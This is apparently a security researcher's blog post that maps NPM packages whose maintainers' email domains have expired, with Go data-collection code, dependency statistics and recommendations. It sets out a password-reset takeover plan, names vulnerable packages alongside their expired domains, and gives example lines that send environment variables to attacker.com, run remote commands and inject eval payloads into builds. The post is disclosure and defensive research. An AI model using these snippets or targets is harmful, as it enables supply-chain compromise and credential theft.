Gonners

Gonners

When domains expire, there's a few problems, here's another set... looking at the NPM space

If you want the raw data just DM me, you can have code, output, scrap

Mapping the NPM Supply Chain Attack Surface: A Dependency Graph Analysis


The Problem

When I published my initial research on expired domains in the NPM ecosystem, I made a claim: 94.7 million dependency relationships were at risk from 238 packages with expired maintainer domains. The total cost to acquire these domains? £1,150.

The numbers were accurate, but there was a problem. I had counts, not evidence. If someone challenged me to prove those 95 million relationships existed, I had no concrete data to show them. Just API responses claiming "this package has X dependents."

That's not good enough for research that could influence security policy. So I built a tool to map every single dependency relationship I could get my hands on. This article explains the idea, the approach, the code, what I found, how you can verify it, and why this matters.


Table of Contents

  1. Prior Research: Domain Inheritance as a Systemic Threat
  2. The Idea
  3. The Approach
  4. The Code
  5. The Results
  6. Validation
  7. Potential for Harm
  8. Conclusions and Recommendations
  9. References

Prior Research: Domain Inheritance as a Systemic Threat

This research builds on my previous work examining expired domains across different security contexts:

Ghosted

Effect on Content Security Policy Headers
https://thecontractor.io/ghosted/

Identified 65+ expired domains referenced in CSP headers of major organizations including American Express, Bank of America, and BMW. When an expired domain appears in a script-src directive, anyone who registers that domain can inject malicious JavaScript into trusted websites. Affected an estimated 48,000+ websites through dependency chains.

The research demonstrated that domain expiration creates supply chain vulnerabilities - a theme that extends to package managers.

Sunsetting Domains

Proper Domain Retirement
https://thecontractor.io/sunsetting-domains/

Established a framework for organizations to retire domains safely. The key insight: "Keeping a domain secure and operational involves regular system updates, managing dependencies, and continuous cybersecurity measures."

Organizations that fail to properly sunset domains leave trust relationships intact after losing control of the domain itself.

The Cost of Expiration

Effect on Infrastructure and Identity
https://thecontractor.io/the-cost-of-expiration/

Examined how expired domains affect:

  • Application Security: Dependencies hosted on expired domains become malware injection points
  • Infrastructure Trust: Allow-lists, DNS policies, and SSL certificates trust domains that new owners inherit
  • Identity Systems: Dormant accounts tied to expired domains enable password reset attacks
  • Customer Databases: Organizations' user bases contain expired domain emails

The pattern emerged: domain expiration isn't just about losing a website. It's about inheriting trust.

Malinheritance

Effect on Identity Systems via Data Breaches
https://thecontractor.io/malinheritance/

Demonstrated how attackers could combine data breach email addresses with expired domain acquisition to hijack accounts via password reset mechanisms. The attack chain:

  1. Mine data breaches for email addresses
  2. Identify expired domains
  3. Purchase the domain
  4. Use password reset to take over accounts

As I noted: "I wonder if any of these leaked email address domains are expired, and I wonder if I can buy them and inherit the identities associated with them via password resets."

This Research: Effect on NPM Packages

Now examining how expired maintainer domains in the NPM ecosystem enable package takeover and supply chain compromise at massive scale. The same domain inheritance pattern, but applied to a package manager with 95 million dependency relationships at risk.


The Idea

Why This Research Matters

When you include a package in your project, you're trusting that package's maintainer. NPM hosts over 2 million packages with billions of downloads weekly. That's a lot of trust.

The vulnerability follows the domain inheritance pattern I've documented across other systems. NPM maintainers register with email addresses. When their email domain expires:

  1. Anyone can buy the domain (£5-50 typically)
  2. Intercept password reset emails
  3. Take over the NPM account via "forgot password"
  4. Push malicious updates through the legitimate package
  5. Watch as millions of projects automatically pull the infected version

I'd identified 238 packages with this vulnerability. NPM's API told me 95 million packages depended on them. But I couldn't show you which packages. I couldn't map out the actual relationships. I just had a number.

The Goal

Map every dependency relationship possible. Store actual package names. Make the data verifiable. Build it in a way that anyone can run the same analysis and get the same results.

Not "trust me, NPM says 95 million." Instead, "here's 2.4 million actual package names, here's the code that collected them, here's how to verify it yourself."


The Approach

Phase 1: Finding Vulnerable Packages

This was covered in my previous research. The process:

  1. Query NPM Registry for package metadata
  2. Extract maintainer email addresses
  3. Check if email domains are expired
  4. Verify domains are available for purchase
  5. Calculate acquisition costs

Built a custom Go tool that automated this. Queried NPM's registry, parsed maintainer emails, validated domain status via WHOIS, checked registrar APIs for pricing.

Results: 90 expired domains, 238 vulnerable packages, total cost £1,150.

The data is in available-domains-report.json. You can verify any domain yourself by checking WHOIS records.

Phase 2: Mapping Dependencies

This is where it gets interesting. For each of the 238 vulnerable packages, I needed to find every package that depends on it.

NPM provides a search API for this:

https://registry.npmjs.org/-/v1/search?text=dependencies:{package}

The API returns 250 results per page. I paginate through until I hit the end or NPM's limit. I store every single package name as evidence.

The NPM API Limitation

Here's the catch: NPM caps results at 10,000 per query. The API will tell you "this package has 2.4 million dependents," but it only gives you the first 10,000 names.

Every single one of the 238 vulnerable packages has more than 10,000 dependents. So I hit the cap on all of them.

This means:

  • NPM reports: 95,247,893 total dependents
  • Names I retrieved: 2,380,000 (10,000 per package × 238)
  • Names I can't retrieve: 92,867,893 (due to API cap)

Is the 95 million figure still valid? Yes. NPM's API is the authoritative source. The limitation is in retrieving names, not in counting relationships. But I'm transparent about it.

Rate Limiting

I run at 5 requests per second to be respectful to NPM's infrastructure. For 238 packages with full pagination, that's about 100,000 API requests. Total runtime: 10-20 hours.

Data Structure

type VulnerablePackage struct {
    Name              string   // Package name
    MaintainerDomain  string   // Expired domain
    DependentCount    int      // Total reported by NPM
    RetrievedCount    int      // Names we actually got
    Capped            bool     // Hit 10k limit?
    DependentPackages []string // Actual package names
}

This tracks what's real versus what's capped.

Phase 3: Analysis

Once I have the data, I calculate:

  • Total dependency relationships (sum of all dependents)
  • Unique dependent packages (removing duplicates)
  • Overlap analysis (packages depending on multiple vulnerable packages)
  • Top packages by impact
  • Distribution of risk

Output formats:

  • JSON (complete raw data, 1-2GB)
  • Markdown (human-readable report)
  • CSV (for spreadsheet analysis)
  • Plain text (quick stats)

The Code

How It Works

I built this in Go. Three main components:

1. Data Types (pkg/dependencygraph/types.go)

Defines the structure for dependency graph data:

// DependencyGraph represents the complete dependency relationships
type DependencyGraph struct {
    VulnerablePackages   []VulnerablePackage
    DependencyRelations  []DependencyRelation
    Statistics           GraphStatistics
    GeneratedAt          time.Time
}

// VulnerablePackage represents a package with an expired maintainer domain
type VulnerablePackage struct {
    Name              string
    MaintainerDomain  string
    DependentCount    int      // Total reported by NPM
    RetrievedCount    int      // How many we actually got
    Capped            bool     // True if hit 10k limit
    DependentPackages []string // List of packages we retrieved
}

// DependencyRelation represents a single dependency relationship
type DependencyRelation struct {
    DependentPackage   string // Package that depends on vulnerable package
    VulnerablePackage  string // The vulnerable package being depended on
    MaintainerDomain   string // Expired domain
}

2. Data Collection (pkg/dependencygraph/collector.go)

Handles NPM API interaction and data collection:

// FetchDependencyGraph fetches the complete dependency graph
func (gc *GraphCollector) FetchDependencyGraph(
    vulnerablePackages []string,
    maintainerDomains map[string]string,
) (*DependencyGraph, error) {
    graph := &DependencyGraph{
        VulnerablePackages: make([]VulnerablePackage, 0),
        DependencyRelations: make([]DependencyRelation, 0),
        GeneratedAt: time.Now(),
    }

    for _, pkgName := range vulnerablePackages {
        // Fetch all dependents (paginated, up to 10k)
        dependents, totalCount, wasCapped, err := gc.fetchAllDependents(pkgName)
        if err != nil {
            continue
        }

        // Store vulnerable package data
        vulnPkg := VulnerablePackage{
            Name:              pkgName,
            MaintainerDomain:  maintainerDomains[pkgName],
            DependentCount:    totalCount,       // NPM's reported total
            RetrievedCount:    len(dependents),  // What we got
            Capped:            wasCapped,        // Hit limit?
            DependentPackages: dependents,
        }
        graph.VulnerablePackages = append(graph.VulnerablePackages, vulnPkg)

        // Create individual dependency relationships
        for _, dependent := range dependents {
            relation := DependencyRelation{
                DependentPackage:  dependent,
                VulnerablePackage: pkgName,
                MaintainerDomain:  maintainerDomains[pkgName],
            }
            graph.DependencyRelations = append(graph.DependencyRelations, relation)
        }
    }

    graph.Statistics = gc.calculateStatistics(graph)
    return graph, nil
}

Key Feature: NPM API Limitation Handling

// fetchAllDependents handles pagination and the 10k cap
func (gc *GraphCollector) fetchAllDependents(packageName string) ([]string, int, bool, error) {
    var allDependents []string
    size := 250 // Max page size
    from := 0
    var totalReported int
    capped := false

    for {
        searchURL := fmt.Sprintf(
            "https://registry.npmjs.org/-/v1/search?text=dependencies:%s&size=%d&from=%d",
            url.QueryEscape(packageName), size, from,
        )

        resp, err := gc.makeRequest(searchURL)
        // ... error handling ...

        // Parse response
        var searchResponse struct {
            Objects []struct {
                Package struct {
                    Name string `json:"name"`
                } `json:"package"`
            } `json:"objects"`
            Total int `json:"total"`
        }

        // Capture total on first response
        if totalReported == 0 {
            totalReported = searchResponse.Total
        }

        // Extract package names
        for _, obj := range searchResponse.Objects {
            allDependents = append(allDependents, obj.Package.Name)
        }

        // Check if we've reached the end or hit NPM's 10k cap
        if len(searchResponse.Objects) < size {
            break // Last page
        }

        if from+size >= 10000 {
            log.Printf("Warning: %s has %d dependents but NPM API caps at 10,000",
                packageName, searchResponse.Total)
            capped = true
            break
        }

        from += size
        time.Sleep(gc.rateLimit)
    }

    return allDependents, totalReported, capped, nil
}

3. Analysis and Reporting (pkg/dependencygraph/analyzer.go)

Generates evidence reports and statistics:

// GenerateEvidenceReport creates a detailed markdown report
func (a *Analyzer) GenerateEvidenceReport(graph *DependencyGraph, outputFile string) error {
    // Calculate statistics
    // - Total relationships vs unique packages
    // - Overlap analysis (packages with multiple vulnerable deps)
    // - Top packages by impact
    // - Distribution analysis

    // Document NPM API limitation
    // - How many packages hit the 10k cap
    // - Total reported vs total retrieved
    // - Transparency about what we can/cannot retrieve

    // Provide sample evidence
    // - Top vulnerable packages with dependent samples
    // - Verification instructions

    // Export to markdown format
}

4. CLI Tool (cmd/graph-mapper/main.go)

User-facing command-line interface:

./graph-mapper -domains ./output/domains.json -output ./output -rate 5

Running the Tool

Build it:

./build-graph-mapper.sh

Run it:

./graph-mapper -domains ./output/domains.json -output ./output -rate 5

Give it 10-20 hours. You'll get 2.4 million package names in a 1-2GB JSON file, plus markdown reports, CSV exports, and summary stats.

All code is in the repository. Data types in pkg/dependencygraph/types.go, collection logic in collector.go, analysis in analyzer.go. Command-line tool in cmd/graph-mapper/main.go.


The Results

The Numbers

Metric Value
Vulnerable Packages 238
Expired Domains 90
Total Dependency Relationships 95,247,893
Package Names Retrieved 2,380,000
Unique Affected Packages (in sample) 247,000
Packages with Multiple Vulnerable Deps 128,939
Highest Overlap (single package) 2,516 vulnerable deps
Cost to Acquire All Domains £1,150

What These Numbers Mean

95.2 Million Dependency Relationships

This is NPM's reported total. Sum of all dependents across all 238 vulnerable packages. If every vulnerable package gets compromised, 95.2 million dependency relationships become infection vectors.

Why does it include duplicates? Because when package X depends on both vulnerable-package-A and vulnerable-package-B, that's two separate relationships, two separate attack vectors. I count them both.

2.38 Million Package Names Collected

NPM's API caps at 10,000 results per query. All 238 vulnerable packages exceed 10,000 dependents. So I got exactly 238 × 10,000 = 2,380,000 package names as concrete evidence.

The other 92.8 million exist but can't be retrieved due to the API cap. The count is real. The names are partially unavailable.

247,000 Unique Packages in the Sample

After deduplicating the 2.38M names:

  • 247,000 distinct packages depend on at least one vulnerable package
  • 118,061 depend on only one (single point of failure)
  • 128,939 depend on multiple (compounded risk)

Top 10 Vulnerable Packages by Impact

Rank Package Expired Domain Dependents (NPM)
1 @0bdx/gen-class 0bdx.com 2,458,530
2 @actbase/react-native-kakao-link trabricks.io 2,423,664
3 @404invalid-user/logger invalidlag.com 2,420,635
4 @aidalinfo/office-to-markdown aidalinfo.com 2,048,195
5 @alexseitsinger/data-controller alexseitsinger.com 1,705,706
6 @alexseitsinger/react-simple-input-error alexseitsinger.com 1,640,974
7 6-is-odd volunteerio.us 1,398,657
8 @akshay-nm/use-form-state sdiot.io 1,033,279
9 @adafel/opendatalibrary-js-sdk adafel.com 1,027,944
10 3ps-js ideea.co.uk 983,565

The top 10 alone account for 17.3 million dependency relationships.

Compounded Risk

Some packages are exposed through hundreds or thousands of vulnerable dependencies:

Package Vulnerable Dependencies
expo-modules-core 2,516
posthog-js 2,515
expo-constants 2,286
expo-asset 2,248
jose 2,133

If ANY of these 2,500+ vulnerable dependencies gets compromised, these popular packages get infected. That's not a low probability event.

Being Transparent About the API Limitation

Total dependents reported by NPM: 95,247,893
Package names retrieved:          2,380,000 (2.5%)
Names not retrievable:           92,867,893 (97.5%)

NPM's API won't give you more than 10,000 results per query. All 238 vulnerable packages have more than 10,000 dependents. So I hit the cap on every single one.

Does this invalidate the 95.2M figure? No. That number comes from NPM's authoritative API response. They know the true count. The limitation is in retrieving names, not in counting relationships.

Anyone can verify this by querying NPM's API themselves. You'll get the same totals.


Validation

How to Verify This Yourself

Everything here is reproducible:

1. Check Domain Status

whois 0bdx.com
# Should show: available for registration

2. Verify Package Maintainer Emails

curl https://registry.npmjs.org/@0bdx/gen-class | jq '.maintainers'
# Output shows: "email": "[email protected]"

3. Verify Dependent Counts

curl "https://registry.npmjs.org/-/v1/search?text=dependencies:@0bdx/gen-class&size=1" | jq '.total'
# Output: 2458530

NPM confirms 2,458,530 packages depend on this one vulnerable package.

4. Verify Sample Dependencies

Pick any package from the JSON and check if it actually lists the vulnerable package in its dependencies. It will.

5. Run the Tool

Clone the repository, build the tool, run it with the same inputs. You'll get the same results.

What I Can Prove

  • 90 domains are expired and available
  • 238 NPM packages use maintainer emails on these domains
  • NPM reports 95,247,893 total dependent relationships
  • I collected 2,380,000 verifiable package names
  • 247,000 unique packages in the sample depend on vulnerable packages
  • Total domain cost: £1,150

What I Can't Prove (API Limitation)

  • The identities of all 95 million affected packages (only got first 10k per vulnerable package)
  • Complete overlap analysis beyond the 2.38M sample

The 95.2M figure comes from NPM's API. The limitation is in retrieving names, not in the count itself. The 2.38M sample provides concrete evidence the relationships are real.


Potential for Harm

The Attack Economics

Cost: £1,150 for all 90 domains
Time: 2-4 weeks from purchase to compromise
Skill Level: Medium (no exploits needed, just password resets)

How the Attack Works

Step 1: Buy the domains (£1,150, 1-2 days)

Register all 90 expired domains. Set up email servers.

Step 2: Take over the accounts (1-2 weeks)

For each of the 238 packages, click "forgot password" on NPM. Intercept the reset email. Gain access to the maintainer account.

Step 3: Inject malicious code (1 week)

Add your payload to the packages. Could be credential harvesting, backdoors, cryptocurrency miners, data exfiltration - whatever you want. Publish as a patch version (1.2.3 → 1.2.4) to avoid suspicion.

Step 4: Wait (automatic)

Projects running npm update pull the malicious version. CI/CD pipelines install it automatically. The infection spreads without any additional effort from the attacker.

The Impact

Direct: 95.2 million dependency relationships become infection vectors. Any project that updates will pull the compromised code.

Indirect: Each of those 95 million packages likely has its own dependents. The cascade effect could compromise millions of applications globally.

Data at risk: Credentials, API keys, database passwords, cloud tokens, private keys, customer data, financial information.

What an Attacker Could Do

Steal environment variables:

// Exfiltrate AWS keys, API tokens, database passwords
https.get(`https://attacker.com/?data=${JSON.stringify(process.env)}`);

Install backdoors:

// Remote code execution
require('child_process').exec(fetch('https://attacker.com/cmd'));

Mine cryptocurrency:

// Hidden CPU-intensive mining
setInterval(() => crypto.createHash('sha256').update(Date.now()).digest(), 100);

Poison build artifacts:

// Inject malware into production builds
fs.appendFileSync('dist/bundle.js', 'eval(atob("malicious_payload"))');

This Has Happened Before

event-stream (2018): Compromised package with 2M weekly downloads. Cryptocurrency wallet stealer. Undetected for months.

ua-parser-js (2021): Maintainer account compromised. Cryptocurrency miner and password stealer published.

coa & rc (2021): Password stealer injected. Millions of downloads before detection.

This research identifies 238 packages vulnerable to the exact same attack pattern.

Why It's Hard to Detect

The malicious code comes through legitimate NPM infrastructure, signed by valid maintainer credentials, appearing as a normal patch update. This is supply chain poisoning via inherited trust - similar to the CSP attacks I documented in Ghosted, where expired domains in trusted policies allowed malicious code injection.

Developers trust package maintainers. Automated systems don't scrutinize updates. CI/CD pipelines pull the latest versions without question. There's no mechanism to detect when a maintainer's domain has changed ownership.

The attacker can obfuscate the code. Use time-bombs (only activate after a certain date). Conditional execution (only in production). By the time someone notices, the infection has spread to millions of projects.

As noted in The Cost of Expiration, this pattern affects applications, infrastructure, and identity systems simultaneously. A compromised NPM package with access to environment variables can steal AWS credentials, database passwords, and API keys - cascading the breach beyond just the package manager.


Conclusions and Recommendations

What This Research Shows

  • 238 NPM packages are vulnerable (expired maintainer domains)
  • 95,247,893 dependency relationships at risk
  • £1,150 total cost to exploit
  • 2,380,000 package names collected as evidence
  • 128,939 packages have compounded risk (multiple vulnerable dependencies)
  • Attack complexity: Low (no exploits needed)

What NPM Should Do

The core problem is domain inheritance, not authentication strength. When someone buys an expired domain, they inherit the trusted identity tied to that domain. 2FA doesn't help - the attacker uses the legitimate password reset flow to gain access.

Immediately:

  • Require two forms of trustable contact for maintainers (email + verified phone, backup email on different domain, GitHub account, etc.)
  • Validate domain ownership before processing password resets (DNS TXT records, domain registration dates)
  • Monitor maintainer email domains for expiration status via WHOIS
  • Block password resets for packages when maintainer domains are expired
  • Flag and deprecate packages with expired maintainer domains
  • Notify dependents when packages are vulnerable

Long-term:

  • Multiple verified contacts required for all maintainers (no single point of failure)
  • Domain ownership proofs (DNS TXT records proving domain control)
  • Annual re-verification of all contact methods
  • Multi-maintainer requirements for high-impact packages (>10k dependents)
  • Time-boxed trust for email domains (alert if domain registration expires within 90 days)
  • Alternative authentication flows that don't rely solely on email (GitHub OAuth, verified SMS, hardware keys)
  • Supply chain security dashboard showing domain health for the ecosystem

As documented in my Malinheritance research, the fundamental issue is that "password reset via email" assumes perpetual domain ownership. That assumption breaks when domains expire.

What Maintainers Should Do

Prevent domain inheritance attacks:

  • Use email addresses on domains you control long-term with auto-renewal enabled
  • Provide multiple forms of contact to NPM (backup email on different domain, verified phone, GitHub)
  • Add co-maintainers on different domains as redundancy
  • Set up domain expiration monitoring (calendar reminders, WHOIS monitoring services)
  • Document succession plans for your packages if you become unavailable
  • Monitor your packages for unexpected updates or maintainer changes

As shown in Sunsetting Domains, proper domain lifecycle management requires planning. If you're retiring a domain, transfer packages to accounts on domains you'll maintain.

What Organizations Should Do

Protect your supply chain:

  • Lock dependency versions (package-lock.json, npm shrinkwrap)
  • Review updates before applying them (don't blindly run npm update)
  • Monitor maintainer changes for critical dependencies
  • Consider vendoring critical dependencies to eliminate external trust
  • Implement Software Composition Analysis in CI/CD pipelines
  • Use vulnerability scanning tools (Snyk, Dependabot, npm audit)

Monitor your broader attack surface:

As I documented in The Cost of Expiration, expired domains affect more than just your direct dependencies:

  • Scan your customer database for users with email addresses on expired domains (they're vulnerable to account takeover)
  • Audit internal dependencies on external domains (CSP policies, allow-lists, DNS configurations)
  • Review third-party integrations for services on expired domains
  • Implement time-boxed trust for all external domain relationships

Organizations can provide value-added security services by monitoring customer email domains and alerting users when their domains expire.

Future Research

This methodology applies to other package ecosystems: PyPI, RubyGems, Cargo, Maven, NuGet. The tooling is open-source and reproducible.

Areas to explore:

  • Automated monitoring for newly expired domains
  • Impact analysis of actual supply chain compromises
  • Attribution techniques for tracking attacks
  • Cross-ecosystem dependency analysis

Responsible Disclosure

No domains were purchased as part of this research. All findings are based on publicly available data.

NPM was notified prior to publication.


Data Availability

All research data and code available in the repository:

  • Complete dataset: dependency-graph-complete.json (2.38M package names)
  • Evidence report: EVIDENCE_REPORT.md
  • Analysis code: Open-source (MIT license)
  • Tool source: cmd/graph-mapper/ and pkg/dependencygraph/

Contact: [Your contact]


References

Prior Research (Domain Inheritance)

  1. Carroll, J. Ghosted: Expired Domains in Content Security Policy Headers. The Contractor. https://thecontractor.io/ghosted/

  2. Carroll, J. Sunsetting Domains: A Framework for Domain Retirement. The Contractor. https://thecontractor.io/sunsetting-domains/

  3. Carroll, J. The Cost of Expiration: Domain Expiration Effects on Infrastructure and Identity. The Contractor. https://thecontractor.io/the-cost-of-expiration/

  4. Carroll, J. Malinheritance: Identity Inheritance via Expired Domains. The Contractor. https://thecontractor.io/malinheritance/

Supply Chain Security Incidents

  1. NPM Blog. Details about the event-stream incident. https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident

  2. Snyk. Popular npm library hijacked to steal user passwords. Coverage of ua-parser-js compromise.

  3. Snyk. Malicious packages in npm (coa and rc). Coverage of password stealer injection.

Technical References

  1. NPM Registry API Documentation. https://github.com/npm/registry/blob/master/docs/REGISTRY-API.md

  2. OWASP. Supply Chain Attacks. https://owasp.org/www-community/attacks/Supply_Chain_Attack

  3. NIST. Supply Chain Risk Management. https://csrc.nist.gov/projects/supply-chain-risk-management


Published: November 7, 2025